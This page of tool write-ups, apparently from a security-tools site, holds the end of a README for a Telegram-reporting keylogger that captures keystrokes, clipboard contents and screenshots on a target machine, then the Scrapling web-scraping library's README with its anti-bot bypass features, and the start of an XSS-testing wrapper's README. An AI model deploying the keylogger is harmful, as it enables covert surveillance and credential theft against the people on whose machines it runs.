• Error logs: Logs errors in an errors_log.txt file to facilitate debugging.

Installation

1. Clone the repository: bash git clone https://github.com/TaurusOmar/pulsegram cd pulsegram

2. Install dependencies: Make sure you have Python 3 and pip installed. Then run: bash pip install -r requirements.txt

3. Set up the Telegram bot token: Create a bot on Telegram using BotFather. Copy your token and paste it into the code in main.py where the bot is initialized.

4. Copy yout ChatID chat_id="131933xxxx" in keylogger.py

Usage

Run the tool on the target machine with:

python pulsegram.py

Modules

pulsegram.py

This is the main file of the tool, which initializes the bot and launches asynchronous tasks to capture and send data.

Bot(token="..."): Initializes the Telegram bot with your personal token.
asyncio.gather(...): Launches multiple tasks to execute clipboard monitoring, screenshot capture, and keystroke logging.
log_error: In case of errors, logs them in an errors_log.txt file.

helpers.py

This module contains auxiliary functions that assist the overall operation of the tool.

log_error(): Logs any errors in errors_log.txt with a date and time format.
get_clipboard_content(): Captures the current content of the clipboard.
capture_screenshot(): Takes a screenshot and temporarily saves it to send it to the Telegram bot.

keylogger.py

This module handles keylogging, clipboard monitoring, and screenshot captures.

capture_keystrokes(bot): Asynchronous function that captures keystrokes and sends the information to the Telegram bot.
send_keystrokes_to_telegram(bot): This function sends the accumulated keystrokes to the bot.
capture_screenshots(bot): Periodically captures an image of the screen and sends it to the bot.
log_clipboard(bot): Sends the contents of the clipboard to the bot.

Action Configurations

Change the capture and information sending time interval.

async def send_keystrokes_to_telegram(bot):
    global keystroke_buffer
    while True:
        await asyncio.sleep(1)  # Change the key sending interval

async def capture_screenshots(bot):
    while True:
        await asyncio.sleep(30)  # Change the screenshot capture interval
        try:

async def log_clipboard(bot):
    previous_content = ""
    while True:
        await asyncio.sleep(5)  # Change the interval to check for clipboard changes
        current_content = get_clipboard_content()

Security Warning

This project is for educational purposes only and for security testing in your own environments or with express authorization. Unauthorized use of this tool may violate local laws and privacy policies.

Contributions

Contributions are welcome. Please ensure to respect the code of conduct when collaborating.

License

This project is licensed under the MIT License.

Scrapling - An Undetectable, Powerful, Flexible, High-Performance Python Library That Makes Web Scraping Simple And Easy Again!

Dealing with failing web scrapers due to anti-bot protections or website changes? Meet Scrapling.

Scrapling is a high-performance, intelligent web scraping library for Python that automatically adapts to website changes while significantly outperforming popular alternatives. For both beginners and experts, Scrapling provides powerful features while maintaining simplicity.

>> from scrapling.defaults import Fetcher, AsyncFetcher, StealthyFetcher, PlayWrightFetcher
# Fetch websites' source under the radar!
>> page = StealthyFetcher.fetch('https://example.com', headless=True, network_idle=True)
>> print(page.status)
200
>> products = page.css('.product', auto_save=True)  # Scrape data that survives website design changes!
>> # Later, if the website structure changes, pass `auto_match=True`
>> products = page.css('.product', auto_match=True)  # and Scrapling still finds them!

Key Features

Fetch websites as you prefer with async support

• HTTP Requests: Fast and stealthy HTTP requests with the Fetcher class.
• Dynamic Loading & Automation: Fetch dynamic websites with the PlayWrightFetcher class through your real browser, Scrapling's stealth mode, Playwright's Chrome browser, or NSTbrowser's browserless!
• Anti-bot Protections Bypass: Easily bypass protections with StealthyFetcher and PlayWrightFetcher classes.

Adaptive Scraping

• 🔄 Smart Element Tracking: Relocate elements after website changes, using an intelligent similarity system and integrated storage.
• 🎯 Flexible Selection: CSS selectors, XPath selectors, filters-based search, text search, regex search and more.
• 🔍 Find Similar Elements: Automatically locate elements similar to the element you found!
• 🧠 Smart Content Scraping: Extract data from multiple websites without specific selectors using Scrapling powerful features.

High Performance

• 🚀 Lightning Fast: Built from the ground up with performance in mind, outperforming most popular Python scraping libraries.
• 🔋 Memory Efficient: Optimized data structures for minimal memory footprint.
• ⚡ Fast JSON serialization: 10x faster than standard library.

Developer Friendly

• 🛠️ Powerful Navigation API: Easy DOM traversal in all directions.
• 🧬 Rich Text Processing: All strings have built-in regex, cleaning methods, and more. All elements' attributes are optimized dictionaries that takes less memory than standard dictionaries with added methods.
• 📝 Auto Selectors Generation: Generate robust short and full CSS/XPath selectors for any element.
• 🔌 Familiar API: Similar to Scrapy/BeautifulSoup and the same pseudo-elements used in Scrapy.
• 📘 Type hints: Complete type/doc-strings coverage for future-proofing and best autocompletion support.

Getting Started

from scrapling.fetchers import Fetcher

fetcher = Fetcher(auto_match=False)

# Do http GET request to a web page and create an Adaptor instance
page = fetcher.get('https://quotes.toscrape.com/', stealthy_headers=True)
# Get all text content from all HTML tags in the page except `script` and `style` tags
page.get_all_text(ignore_tags=('script', 'style'))

# Get all quotes elements, any of these methods will return a list of strings directly (TextHandlers)
quotes = page.css('.quote .text::text')  # CSS selector
quotes = page.xpath('//span[@class="text"]/text()')  # XPath
quotes = page.css('.quote').css('.text::text')  # Chained selectors
quotes = [element.text for element in page.css('.quote .text')]  # Slower than bulk query above

# Get the first quote element
quote = page.css_first('.quote')  # same as page.css('.quote').first or page.css('.quote')[0]

# Tired of selectors? Use find_all/find
# Get all 'div' HTML tags that one of its 'class' values is 'quote'
quotes = page.find_all('div', {'class': 'quote'})
# Same as
quotes = page.find_all('div', class_='quote')
quotes = page.find_all(['div'], class_='quote')
quotes = page.find_all(class_='quote')  # and so on...

# Working with elements
quote.html_content  # Get Inner HTML of this element
quote.prettify()  # Prettified version of Inner HTML above
quote.attrib  # Get that element's attributes
quote.path  # DOM path to element (List of all ancestors from <html> tag till the element itself)

To keep it simple, all methods can be chained on top of each other!

Parsing Performance

Scrapling isn't just powerful - it's also blazing fast. Scrapling implements many best practices, design patterns, and numerous optimizations to save fractions of seconds. All of that while focusing exclusively on parsing HTML documents. Here are benchmarks comparing Scrapling to popular Python libraries in two tests.

Text Extraction Speed Test (5000 nested elements).

As you see, Scrapling is on par with Scrapy and slightly faster than Lxml which both libraries are built on top of. These are the closest results to Scrapling. PyQuery is also built on top of Lxml but still, Scrapling is 4 times faster.

Extraction By Text Speed Test

Scrapling can find elements with more methods and it returns full element Adaptor objects not only the text like AutoScraper. So, to make this test fair, both libraries will extract an element with text, find similar elements, and then extract the text content for all of them. As you see, Scrapling is still 4.5 times faster at the same task.

All benchmarks' results are an average of 100 runs. See our benchmarks.py for methodology and to run your comparisons.

Installation

Scrapling is a breeze to get started with; Starting from version 0.2.9, we require at least Python 3.9 to work.

pip3 install scrapling

Then run this command to install browsers' dependencies needed to use Fetcher classes

scrapling install

If you have any installation issues, please open an issue.

Fetching Websites

Fetchers are interfaces built on top of other libraries with added features that do requests or fetch pages for you in a single request fashion and then return an Adaptor object. This feature was introduced because the only option we had before was to fetch the page as you wanted it, then pass it manually to the Adaptor class to create an Adaptor instance and start playing around with the page.

Features

You might be slightly confused by now so let me clear things up. All fetcher-type classes are imported in the same way

from scrapling.fetchers import Fetcher, StealthyFetcher, PlayWrightFetcher

All of them can take these initialization arguments: auto_match, huge_tree, keep_comments, keep_cdata, storage, and storage_args, which are the same ones you give to the Adaptor class.

If you don't want to pass arguments to the generated Adaptor object and want to use the default values, you can use this import instead for cleaner code:

from scrapling.defaults import Fetcher, AsyncFetcher, StealthyFetcher, PlayWrightFetcher

then use it right away without initializing like:

page = StealthyFetcher.fetch('https://example.com') 

Also, the Response object returned from all fetchers is the same as the Adaptor object except it has these added attributes: status, reason, cookies, headers, history, and request_headers. All cookies, headers, and request_headers are always of type dictionary.

[!NOTE] The auto_match argument is enabled by default which is the one you should care about the most as you will see later.

Fetcher

This class is built on top of httpx with additional configuration options, here you can do GET, POST, PUT, and DELETE requests.

For all methods, you have stealthy_headers which makes Fetcher create and use real browser's headers then create a referer header as if this request came from Google's search of this URL's domain. It's enabled by default. You can also set the number of retries with the argument retries for all methods and this will make httpx retry requests if it failed for any reason. The default number of retries for all Fetcher methods is 3.

Hence: All headers generated by stealthy_headers argument can be overwritten by you through the headers argument

You can route all traffic (HTTP and HTTPS) to a proxy for any of these methods in this format http://username:password@localhost:8030

>> page = Fetcher().get('https://httpbin.org/get', stealthy_headers=True, follow_redirects=True)
>> page = Fetcher().post('https://httpbin.org/post', data={'key': 'value'}, proxy='http://username:password@localhost:8030')
>> page = Fetcher().put('https://httpbin.org/put', data={'key': 'value'})
>> page = Fetcher().delete('https://httpbin.org/delete')

For Async requests, you will just replace the import like below:

>> from scrapling.fetchers import AsyncFetcher
>> page = await AsyncFetcher().get('https://httpbin.org/get', stealthy_headers=True, follow_redirects=True)
>> page = await AsyncFetcher().post('https://httpbin.org/post', data={'key': 'value'}, proxy='http://username:password@localhost:8030')
>> page = await AsyncFetcher().put('https://httpbin.org/put', data={'key': 'value'})
>> page = await AsyncFetcher().delete('https://httpbin.org/delete')

StealthyFetcher

This class is built on top of Camoufox, bypassing most anti-bot protections by default. Scrapling adds extra layers of flavors and configurations to increase performance and undetectability even further.

>> page = StealthyFetcher().fetch('https://www.browserscan.net/bot-detection')  # Running headless by default
>> page.status == 200
True
>> page = await StealthyFetcher().async_fetch('https://www.browserscan.net/bot-detection')  # the async version of fetch
>> page.status == 200
True

Note: all requests done by this fetcher are waiting by default for all JS to be fully loaded and executed so you don't have to :)

This list isn't final so expect a lot more additions and flexibility to be added in the next versions!

PlayWrightFetcher

This class is built on top of Playwright which currently provides 4 main run options but they can be mixed as you want.

>> page = PlayWrightFetcher().fetch('https://www.google.com/search?q=%22Scrapling%22', disable_resources=True)  # Vanilla Playwright option
>> page.css_first("#search a::attr(href)")
'https://github.com/D4Vinci/Scrapling'
>> page = await PlayWrightFetcher().async_fetch('https://www.google.com/search?q=%22Scrapling%22', disable_resources=True)  # the async version of fetch
>> page.css_first("#search a::attr(href)")
'https://github.com/D4Vinci/Scrapling'

Note: all requests done by this fetcher are waiting by default for all JS to be fully loaded and executed so you don't have to :)

Using this Fetcher class, you can make requests with: 1) Vanilla Playwright without any modifications other than the ones you chose. 2) Stealthy Playwright with the stealth mode I wrote for it. It's still a WIP but it bypasses many online tests like Sannysoft's. Some of the things this fetcher's stealth mode does include: * Patching the CDP runtime fingerprint. * Mimics some of the real browsers' properties by injecting several JS files and using custom options. * Using custom flags on launch to hide Playwright even more and make it faster. * Generates real browser's headers of the same type and same user OS then append it to the request's headers. 3) Real browsers by passing the real_chrome argument or the CDP URL of your browser to be controlled by the Fetcher and most of the options can be enabled on it. 4) NSTBrowser's docker browserless option by passing the CDP URL and enabling nstbrowser_mode option.

Hence using the real_chrome argument requires that you have Chrome browser installed on your device

Add that to a lot of controlling/hiding options as you will see in the arguments list below.

This list isn't final so expect a lot more additions and flexibility to be added in the next versions!

Advanced Parsing Features

Smart Navigation

>>> quote.tag
'div'

>>> quote.parent
<data='<div class="col-md-8"> <div class="quote...' parent='<div class="row"> <div class="col-md-8">...'>

>>> quote.parent.tag
'div'

>>> quote.children
[<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>,
 <data='<span>by <small class="author" itemprop=...' parent='<div class="quote" itemscope itemtype="h...'>,
 <data='<div class="tags"> Tags: <meta class="ke...' parent='<div class="quote" itemscope itemtype="h...'>]

>>> quote.siblings
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
 <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]

>>> quote.next  # gets the next element, the same logic applies to `quote.previous`
<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>

>>> quote.children.css_first(".author::text")
'Albert Einstein'

>>> quote.has_class('quote')
True

# Generate new selectors for any element
>>> quote.generate_css_selector
'body > div > div:nth-of-type(2) > div > div'

# Test these selectors on your favorite browser or reuse them again in the library's methods!
>>> quote.generate_xpath_selector
'//body/div/div[2]/div/div'

If your case needs more than the element's parent, you can iterate over the whole ancestors' tree of any element like below

for ancestor in quote.iterancestors():
    # do something with it...

You can search for a specific ancestor of an element that satisfies a function, all you need to do is to pass a function that takes an Adaptor object as an argument and return True if the condition satisfies or False otherwise like below:

>>> quote.find_ancestor(lambda ancestor: ancestor.has_class('row'))
<data='<div class="row"> <div class="col-md-8">...' parent='<div class="container"> <div class="row...'>

Content-based Selection & Finding Similar Elements

You can select elements by their text content in multiple ways, here's a full example on another website:

>>> page = Fetcher().get('https://books.toscrape.com/index.html')

>>> page.find_by_text('Tipping the Velvet')  # Find the first element whose text fully matches this text
<data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>

>>> page.urljoin(page.find_by_text('Tipping the Velvet').attrib['href'])  # We use `page.urljoin` to return the full URL from the relative `href`
'https://books.toscrape.com/catalogue/tipping-the-velvet_999/index.html'

>>> page.find_by_text('Tipping the Velvet', first_match=False)  # Get all matches if there are more
[<data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>]

>>> page.find_by_regex(r'£[\d\.]+')  # Get the first element that its text content matches my price regex
<data='<p class="price_color">£51.77</p>' parent='<div class="product_price"> <p class="pr...'>

>>> page.find_by_regex(r'£[\d\.]+', first_match=False)  # Get all elements that matches my price regex
[<data='<p class="price_color">£51.77</p>' parent='<div class="product_price"> <p class="pr...'>,
 <data='<p class="price_color">£53.74</p>' parent='<div class="product_price"> <p class="pr...'>,
 <data='<p class="price_color">£50.10</p>' parent='<div class="product_price"> <p class="pr...'>,
 <data='<p class="price_color">£47.82</p>' parent='<div class="product_price"> <p class="pr...'>,
 ...]

Find all elements that are similar to the current element in location and attributes

# For this case, ignore the 'title' attribute while matching
>>> page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title'])
[<data='<a href="catalogue/a-light-in-the-attic_...' parent='<h3><a href="catalogue/a-light-in-the-at...'>,
 <data='<a href="catalogue/soumission_998/index....' parent='<h3><a href="catalogue/soumission_998/in...'>,
 <data='<a href="catalogue/sharp-objects_997/ind...' parent='<h3><a href="catalogue/sharp-objects_997...'>,
...]

# You will notice that the number of elements is 19 not 20 because the current element is not included.
>>> len(page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title']))
19

# Get the `href` attribute from all similar elements
>>> [element.attrib['href'] for element in page.find_by_text('Tipping the Velvet').find_similar(ignore_attributes=['title'])]
['catalogue/a-light-in-the-attic_1000/index.html',
 'catalogue/soumission_998/index.html',
 'catalogue/sharp-objects_997/index.html',
 ...]

To increase the complexity a little bit, let's say we want to get all books' data using that element as a starting point for some reason

>>> for product in page.find_by_text('Tipping the Velvet').parent.parent.find_similar():
        print({
            "name": product.css_first('h3 a::text'),
            "price": product.css_first('.price_color').re_first(r'[\d\.]+'),
            "stock": product.css('.availability::text')[-1].clean()
        })
{'name': 'A Light in the ...', 'price': '51.77', 'stock': 'In stock'}
{'name': 'Soumission', 'price': '50.10', 'stock': 'In stock'}
{'name': 'Sharp Objects', 'price': '47.82', 'stock': 'In stock'}
...

The documentation will provide more advanced examples.

Handling Structural Changes

Let's say you are scraping a page with a structure like this:

<div class="container">
    <section class="products">
        <article class="product" id="p1">
            <h3>Product 1</h3>
            <p class="description">Description 1</p>
        </article>
        <article class="product" id="p2">
            <h3>Product 2</h3>
            <p class="description">Description 2</p>
        </article>
    </section>
</div>

And you want to scrape the first product, the one with the p1 ID. You will probably write a selector like this

page.css('#p1')

When website owners implement structural changes like

<div class="new-container">
    <div class="product-wrapper">
        <section class="products">
            <article class="product new-class" data-id="p1">
                <div class="product-info">
                    <h3>Product 1</h3>
                    <p class="new-description">Description 1</p>
                </div>
            </article>
            <article class="product new-class" data-id="p2">
                <div class="product-info">
                    <h3>Product 2</h3>
                    <p class="new-description">Description 2</p>
                </div>
            </article>
        </section>
    </div>
</div>

The selector will no longer function and your code needs maintenance. That's where Scrapling's auto-matching feature comes into play.

from scrapling.parser import Adaptor
# Before the change
page = Adaptor(page_source, url='example.com')
element = page.css('#p1' auto_save=True)
if not element:  # One day website changes?
    element = page.css('#p1', auto_match=True)  # Scrapling still finds it!
# the rest of the code...

How does the auto-matching work? Check the FAQs section for that and other possible issues while auto-matching.

Real-World Scenario

Let's use a real website as an example and use one of the fetchers to fetch its source. To do this we need to find a website that will change its design/structure soon, take a copy of its source then wait for the website to make the change. Of course, that's nearly impossible to know unless I know the website's owner but that will make it a staged test haha.

To solve this issue, I will use The Web Archive's Wayback Machine. Here is a copy of StackOverFlow's website in 2010, pretty old huh?Let's test if the automatch feature can extract the same button in the old design from 2010 and the current design using the same selector :)

If I want to extract the Questions button from the old design I can use a selector like this #hmenus > div:nth-child(1) > ul > li:nth-child(1) > a This selector is too specific because it was generated by Google Chrome. Now let's test the same selector in both versions

>> from scrapling.fetchers import Fetcher
>> selector = '#hmenus > div:nth-child(1) > ul > li:nth-child(1) > a'
>> old_url = "https://web.archive.org/web/20100102003420/http://stackoverflow.com/"
>> new_url = "https://stackoverflow.com/"
>> 
>> page = Fetcher(automatch_domain='stackoverflow.com').get(old_url, timeout=30)
>> element1 = page.css_first(selector, auto_save=True)
>> 
>> # Same selector but used in the updated website
>> page = Fetcher(automatch_domain="stackoverflow.com").get(new_url)
>> element2 = page.css_first(selector, auto_match=True)
>> 
>> if element1.text == element2.text:
...    print('Scrapling found the same element in the old design and the new design!')
'Scrapling found the same element in the old design and the new design!'

Note that I used a new argument called automatch_domain, this is because for Scrapling these are two different URLs, not the website so it isolates their data. To tell Scrapling they are the same website, we then pass the domain we want to use for saving auto-match data for them both so Scrapling doesn't isolate them.

In a real-world scenario, the code will be the same except it will use the same URL for both requests so you won't need to use the automatch_domain argument. This is the closest example I can give to real-world cases so I hope it didn't confuse you :)

Notes: 1. For the two examples above I used one time the Adaptor class and the second time the Fetcher class just to show you that you can create the Adaptor object by yourself if you have the source or fetch the source using any Fetcher class then it will create the Adaptor object for you. 2. Passing the auto_save argument with the auto_match argument set to False while initializing the Adaptor/Fetcher object will only result in ignoring the auto_save argument value and the following warning message text Argument `auto_save` will be ignored because `auto_match` wasn't enabled on initialization. Check docs for more info. This behavior is purely for performance reasons so the database gets created/connected only when you are planning to use the auto-matching features. Same case with the auto_match argument.

1. The auto_match parameter works only for Adaptor instances not Adaptors so if you do something like this you will get an error python page.css('body').css('#p1', auto_match=True) because you can't auto-match a whole list, you have to be specific and do something like python page.css_first('body').css('#p1', auto_match=True)

Find elements by filters

Inspired by BeautifulSoup's find_all function you can find elements by using find_all/find methods. Both methods can take multiple types of filters and return all elements in the pages that all these filters apply to.

• To be more specific:
• Any string passed is considered a tag name
• Any iterable passed like List/Tuple/Set is considered an iterable of tag names.
• Any dictionary is considered a mapping of HTML element(s) attribute names and attribute values.
• Any regex patterns passed are used as filters to elements by their text content
• Any functions passed are used as filters
• Any keyword argument passed is considered as an HTML element attribute with its value.

So the way it works is after collecting all passed arguments and keywords, each filter passes its results to the following filter in a waterfall-like filtering system.
It filters all elements in the current page/element in the following order:

1. All elements with the passed tag name(s).
2. All elements that match all passed attribute(s).
3. All elements that its text content match all passed regex patterns.
4. All elements that fulfill all passed function(s).

Note: The filtering process always starts from the first filter it finds in the filtering order above so if no tag name(s) are passed but attributes are passed, the process starts from that layer and so on. But the order in which you pass the arguments doesn't matter.

Examples to clear any confusion :)

>> from scrapling.fetchers import Fetcher
>> page = Fetcher().get('https://quotes.toscrape.com/')
# Find all elements with tag name `div`.
>> page.find_all('div')
[<data='<div class="container"> <div class="row...' parent='<body> <div class="container"> <div clas...'>,
 <data='<div class="row header-box"> <div class=...' parent='<div class="container"> <div class="row...'>,
...]

# Find all div elements with a class that equals `quote`.
>> page.find_all('div', class_='quote')
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
 <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]

# Same as above.
>> page.find_all('div', {'class': 'quote'})
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
 <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]

# Find all elements with a class that equals `quote`.
>> page.find_all({'class': 'quote'})
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
 <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]

# Find all div elements with a class that equals `quote`, and contains the element `.text` which contains the word 'world' in its content.
>> page.find_all('div', {'class': 'quote'}, lambda e: "world" in e.css_first('.text::text'))
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>]

# Find all elements that don't have children.
>> page.find_all(lambda element: len(element.children) > 0)
[<data='<html lang="en"><head><meta charset="UTF...'>,
 <data='<head><meta charset="UTF-8"><title>Quote...' parent='<html lang="en"><head><meta charset="UTF...'>,
 <data='<body> <div class="container"> <div clas...' parent='<html lang="en"><head><meta charset="UTF...'>,
...]

# Find all elements that contain the word 'world' in its content.
>> page.find_all(lambda element: "world" in element.text)
[<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>,
 <data='<a class="tag" href="/tag/world/page/1/"...' parent='<div class="tags"> Tags: <meta class="ke...'>]

# Find all span elements that match the given regex
>> page.find_all('span', re.compile(r'world'))
[<data='<span class="text" itemprop="text">"The...' parent='<div class="quote" itemscope itemtype="h...'>]

# Find all div and span elements with class 'quote' (No span elements like that so only div returned)
>> page.find_all(['div', 'span'], {'class': 'quote'})
[<data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
 <data='<div class="quote" itemscope itemtype="h...' parent='<div class="col-md-8"> <div class="quote...'>,
...]

# Mix things up
>> page.find_all({'itemtype':"http://schema.org/CreativeWork"}, 'div').css('.author::text')
['Albert Einstein',
 'J.K. Rowling',
...]

Is That All?

Here's what else you can do with Scrapling:

• Accessing the lxml.etree object itself of any element directly python >>> quote._root <Element div at 0x107f98870>

• Saving and retrieving elements manually to auto-match them outside the css and the xpath methods but you have to set the identifier by yourself.

• To save an element to the database: python >>> element = page.find_by_text('Tipping the Velvet', first_match=True) >>> page.save(element, 'my_special_element')

• Now later when you want to retrieve it and relocate it inside the page with auto-matching, it would be like this python >>> element_dict = page.retrieve('my_special_element') >>> page.relocate(element_dict, adaptor_type=True) [<data='<a href="catalogue/tipping-the-velvet_99...' parent='<h3><a href="catalogue/tipping-the-velve...'>] >>> page.relocate(element_dict, adaptor_type=True).css('::text') ['Tipping the Velvet']

• if you want to keep it as lxml.etree object, leave the adaptor_type argument python >>> page.relocate(element_dict) [<Element a at 0x105a2a7b0>]

• Filtering results based on a function

# Find all products over $50
expensive_products = page.css('.product_pod').filter(
    lambda p: float(p.css('.price_color').re_first(r'[\d\.]+')) > 50
)

• Searching results for the first one that matches a function

# Find all the products with price '53.23'
page.css('.product_pod').search(
    lambda p: float(p.css('.price_color').re_first(r'[\d\.]+')) == 54.23
)

• Doing operations on element content is the same as scrapy python quote.re(r'regex_pattern') # Get all strings (TextHandlers) that match the regex pattern quote.re_first(r'regex_pattern') # Get the first string (TextHandler) only quote.json() # If the content text is jsonable, then convert it to json using `orjson` which is 10x faster than the standard json library and provides more options except that you can do more with them like python quote.re( r'regex_pattern', replace_entities=True, # Character entity references are replaced by their corresponding character clean_match=True, # This will ignore all whitespaces and consecutive spaces while matching case_sensitive= False, # Set the regex to ignore letters case while compiling it ) Hence all of these methods are methods from the TextHandler within that contains the text content so the same can be done directly if you call the .text property or equivalent selector function.

• Doing operations on the text content itself includes

• Cleaning the text from any white spaces and replacing consecutive spaces with single space python quote.clean()
• You already know about the regex matching and the fast json parsing but did you know that all strings returned from the regex search are actually TextHandler objects too? so in cases where you have for example a JS object assigned to a JS variable inside JS code and want to extract it with regex and then convert it to json object, in other libraries, these would be more than 1 line of code but here you can do it in 1 line like this python page.xpath('//script/text()').re_first(r'var dataLayer = (.+);').json()

• Sort all characters in the string as if it were a list and return the new string python quote.sort(reverse=False)

  To be clear, TextHandler is a sub-class of Python's str so all normal operations/methods that work with Python strings will work with it.

• Any element's attributes are not exactly a dictionary but a sub-class of mapping called AttributesHandler that's read-only so it's faster and string values returned are actually TextHandler objects so all operations above can be done on them, standard dictionary operations that don't modify the data, and more :)

• Unlike standard dictionaries, here you can search by values too and can do partial searches. It might be handy in some cases (returns a generator of matches) python >>> for item in element.attrib.search_values('catalogue', partial=True): print(item) {'href': 'catalogue/tipping-the-velvet_999/index.html'}
• Serialize the current attributes to JSON bytes: python >>> element.attrib.json_string b'{"href":"catalogue/tipping-the-velvet_999/index.html","title":"Tipping the Velvet"}'
• Converting it to a normal dictionary python >>> dict(element.attrib) {'href': 'catalogue/tipping-the-velvet_999/index.html', 'title': 'Tipping the Velvet'}

Scrapling is under active development so expect many more features coming soon :)

More Advanced Usage

There are a lot of deep details skipped here to make this as short as possible so to take a deep dive, head to the docs section. I will try to keep it updated as possible and add complex examples. There I will explain points like how to write your storage system, write spiders that don't depend on selectors at all, and more...

Note that implementing your storage system can be complex as there are some strict rules such as inheriting from the same abstract class, following the singleton design pattern used in other classes, and more. So make sure to read the docs first.

[!IMPORTANT] A website is needed to provide detailed library documentation.
I'm trying to rush creating the website, researching new ideas, and adding more features/tests/benchmarks but time is tight with too many spinning plates between work, personal life, and working on Scrapling. I have been working on Scrapling for months for free after all.

If you like Scrapling and want it to keep improving then this is a friendly reminder that you can help by supporting me through the sponsor button.

⚡ Enlightening Questions and FAQs

This section addresses common questions about Scrapling, please read this section before opening an issue.

How does auto-matching work?

1. You need to get a working selector and run it at least once with methods css or xpath with the auto_save parameter set to True before structural changes happen.
2. Before returning results for you, Scrapling uses its configured database and saves unique properties about that element.

3. Now because everything about the element can be changed or removed, nothing from the element can be used as a unique identifier for the database. To solve this issue, I made the storage system rely on two things:

   1. The domain of the URL you gave while initializing the first Adaptor object
   2. The identifier parameter you passed to the method while selecting. If you didn't pass one, then the selector string itself will be used as an identifier but remember you will have to use it as an identifier value later when the structure changes and you want to pass the new selector.

   Together both are used to retrieve the element's unique properties from the database later. 4. Now later when you enable the auto_match parameter for both the Adaptor instance and the method call. The element properties are retrieved and Scrapling loops over all elements in the page and compares each one's unique properties to the unique properties we already have for this element and a score is calculated for each one. 5. Comparing elements is not exact but more about finding how similar these values are, so everything is taken into consideration, even the values' order, like the order in which the element class names were written before and the order in which the same element class names are written now. 6. The score for each element is stored in the table, and the element(s) with the highest combined similarity scores are returned.

How does the auto-matching work if I didn't pass a URL while initializing the Adaptor object?

Not a big problem as it depends on your usage. The word default will be used in place of the URL field while saving the element's unique properties. So this will only be an issue if you used the same identifier later for a different website that you didn't pass the URL parameter while initializing it as well. The save process will overwrite the previous data and auto-matching uses the latest saved properties only.

If all things about an element can change or get removed, what are the unique properties to be saved?

For each element, Scrapling will extract: - Element tag name, text, attributes (names and values), siblings (tag names only), and path (tag names only). - Element's parent tag name, attributes (names and values), and text.

I have enabled the auto_save/auto_match parameter while selecting and it got completely ignored with a warning message

That's because passing the auto_save/auto_match argument without setting auto_match to True while initializing the Adaptor object will only result in ignoring the auto_save/auto_match argument value. This behavior is purely for performance reasons so the database gets created only when you are planning to use the auto-matching features.

I have done everything as the docs but the auto-matching didn't return anything, what's wrong?

It could be one of these reasons: 1. No data were saved/stored for this element before. 2. The selector passed is not the one used while storing element data. The solution is simple - Pass the old selector again as an identifier to the method called. - Retrieve the element with the retrieve method using the old selector as identifier then save it again with the save method and the new selector as identifier. - Start using the identifier argument more often if you are planning to use every new selector from now on. 3. The website had some extreme structural changes like a new full design. If this happens a lot with this website, the solution would be to make your code as selector-free as possible using Scrapling features.

Can Scrapling replace code built on top of BeautifulSoup4?

Pretty much yeah, almost all features you get from BeautifulSoup can be found or achieved in Scrapling one way or another. In fact, if you see there's a feature in bs4 that is missing in Scrapling, please make a feature request from the issues tab to let me know.

Can Scrapling replace code built on top of AutoScraper?

Of course, you can find elements by text/regex, find similar elements in a more reliable way than AutoScraper, and finally save/retrieve elements manually to use later as the model feature in AutoScraper. I have pulled all top articles about AutoScraper from Google and tested Scrapling against examples in them. In all examples, Scrapling got the same results as AutoScraper in much less time.

Is Scrapling thread-safe?

Yes, Scrapling instances are thread-safe. Each Adaptor instance maintains its state.

More Sponsors!

Contributing

Everybody is invited and welcome to contribute to Scrapling. There is a lot to do!

Please read the contributing file before doing anything.

Disclaimer for Scrapling Project

[!CAUTION] This library is provided for educational and research purposes only. By using this library, you agree to comply with local and international laws regarding data scraping and privacy. The authors and contributors are not responsible for any misuse of this software. This library should not be used to violate the rights of others, for unethical purposes, or to use data in an unauthorized or illegal manner. Do not use it on any website unless you have permission from the website owner or within their allowed rules like the robots.txt file, for example.

License

This work is licensed under BSD-3

Acknowledgments

This project includes code adapted from: - Parsel (BSD License) - Used for translator submodule

Thanks and References

• Daijro's brilliant work on both BrowserForge and Camoufox
• Vinyzu's work on Playwright's mock on Botright
• brotector
• fakebrowser
• rebrowser-patches

Known Issues

• In the auto-matching save process, the unique properties of the first element from the selection results are the only ones that get saved. So if the selector you are using selects different elements on the page that are in different locations, auto-matching will probably return to you the first element only when you relocate it later. This doesn't include combined CSS selectors (Using commas to combine more than one selector for example) as these selectors get separated and each selector gets executed alone.

VulnKnox - A Go-based Wrapper For The KNOXSS API To Automate XSS Vulnerability Testing

VulnKnox is a powerful command-line tool written in Go that interfaces with the KNOXSS API. It automates the process of testing URLs for Cross-Site Scripting (XSS) vulnerabilities using the advanced capabilities of the KNOXSS engine.

Features

• Supports pipe input for passing file lists and echoing URLs for testing
• Configurable retries and timeouts
• Supports GET, POST, and BOTH HTTP methods
• Advanced Filter Bypass (AFB) feature
• Flash Mode for quick XSS polyglot testing
• CheckPoC feature to verify the proof of concept
• Concurrent processing with configurable parallelism
• Custom headers support for authenticated requests
• Proxy support
• Discord webhook integration for notifications
• Detailed output with color-coded results

Installation

go install github.com/iqzer0/vulnknox@latest

Configuration

Before using the tool, you need to set up your configuration:

API Key

Obtain your KNOXSS API key from knoxss.me.

On the first run, a default configuration file will be created at:

Linux/macOS: ~/.config/vulnknox/config.json
